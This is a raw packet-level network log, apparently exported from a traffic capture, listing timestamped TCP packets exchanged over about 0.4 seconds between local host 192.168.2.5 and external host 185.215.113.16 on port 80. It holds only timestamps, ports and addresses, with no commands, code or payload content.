Dec 10, 2024 05:10:46.702655077 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.703360081 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.703517914 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.704250097 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.704317093 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.704381943 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.704756975 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.705118895 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.705264091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.705317974 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.705996990 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.706108093 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.706860065 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.706924915 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.706983089 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.707133055 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.707825899 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.707865000 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.708627939 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.708687067 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.708744049 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.709619999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.709634066 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.709686041 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.710427046 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.710504055 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.711139917 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.711261034 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.711460114 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.711503029 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.712158918 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.712281942 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.712337017 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.713032007 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.713157892 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.713208914 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.713928938 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.713985920 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.714019060 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.714070082 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.714787006 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.714943886 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.715022087 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.715668917 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.715790987 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.715790987 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.715853930 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.716564894 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.716624975 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.716780901 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.716825008 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.717412949 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.717461109 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.717535019 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.717708111 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.718400002 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.718519926 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.718580008 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.719192982 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.719285011 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.719299078 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.719573975 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.720093966 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.720225096 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.720242977 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.720341921 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.720968008 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.721014977 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.721052885 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.721937895 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.721941948 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.721951008 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.722121000 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.722700119 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.722836971 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.722884893 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.723586082 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.723675966 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.723704100 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.723756075 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.724581957 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.724592924 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.724658966 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.725364923 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.725418091 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.725466967 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.725589037 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.726264000 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.726313114 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.726345062 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.726386070 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.727128983 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.727209091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.727492094 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.728137016 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.728147984 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.728194952 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.728908062 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.728919983 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.728979111 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.729772091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.729867935 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.729927063 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.730648994 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.730786085 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.730833054 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.731530905 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.731699944 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.731971979 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.732441902 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.732496023 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.732523918 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.733292103 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.733299971 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.733366013 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.733414888 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.734167099 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.734219074 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.734246016 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.734380960 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.735057116 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.735110998 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.735256910 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.735451937 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.735953093 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.735999107 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.736011982 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.736150980 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.736816883 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.736939907 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.737003088 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.737700939 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.737755060 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.737910032 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.738109112 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.738586903 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.738662958 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.738668919 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.738791943 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.739496946 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.739547968 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.739811897 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.739856005 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.740612984 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.740674973 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.740708113 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.740750074 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.741250992 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.741262913 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.741302013 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.742091894 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.742183924 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.742224932 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.742999077 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.743043900 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.743046999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.743102074 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.743849039 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.743905067 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.743973970 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.744601011 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.744757891 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.744862080 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.744878054 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.744905949 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.745606899 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.745655060 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.745691061 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.745744944 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.892347097 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.892471075 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.892524004 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.892617941 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.892642975 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.892663002 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.892725945 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.892762899 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.893522024 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.893620014 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.893639088 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.893662930 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.894392967 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.894435883 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.894675016 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.894720078 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.894737005 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.895119905 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.895565987 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.895744085 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.896459103 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.896503925 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.896527052 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.897347927 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.897566080 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.897608042 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.898170948 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.898274899 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.898313046 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.899049044 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.899126053 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.899158955 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.899930000 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.900043964 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.900084972 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.900841951 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.900909901 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.901700974 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.901745081 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.901813030 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.902057886 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.902673960 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.902687073 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.902729988 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.903456926 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.903552055 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.903563023 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.904371023 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.904427052 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.904455900 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.905222893 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.905291080 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.905349970 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.905469894 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.906090021 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.906214952 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.906234026 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.906282902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.906982899 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.907085896 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.907124043 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.907845020 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.907948017 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.907963037 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.908000946 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.908730984 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.908787012 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.908848047 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.909013033 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.909611940 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.909671068 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.909687996 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.909903049 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.910541058 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.910603046 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.910619974 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.910813093 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.911427021 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.911545992 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.911592960 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.912311077 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.912359953 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.912419081 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.913151979 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.913259029 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.914026022 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.914083958 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.914120913 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.914892912 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.914999962 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.915055037 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.915770054 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.915874004 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.916642904 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.916707039 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.916759968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.917552948 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.917614937 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.917669058 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.918441057 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.918508053 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.919142962 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.919318914 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.919394970 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.920200109 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.920269966 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.920284986 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.921097994 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.921149015 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.921211004 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.921932936 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.922091007 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.922863960 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.922907114 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.922930956 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.922955990 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.923675060 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.923832893 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.924575090 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.924642086 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.924674988 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.925451994 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.925565958 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.925617933 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.926342964 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.926456928 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.927143097 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.927225113 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.927323103 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.928105116 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.928173065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.928248882 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.928986073 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.929085970 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.929152966 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.929841042 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.929963112 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.930732965 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.930805922 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.930830002 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.931132078 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.931653976 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.931726933 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.932491064 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.932559013 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.932591915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.933413029 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.933494091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.933553934 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.934252977 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.934360981 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.934874058 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.935141087 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.935250998 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.936014891 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.936079979 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.936120987 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.936888933 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.937011957 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.937061071 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:46.937784910 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.937864065 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:46.939140081 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.084336042 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.084439039 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.084703922 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.084820032 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.084825039 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.084876060 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:47.085576057 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:47.085694075 CET	80	49921	185.215.113.16	192.168.2.5
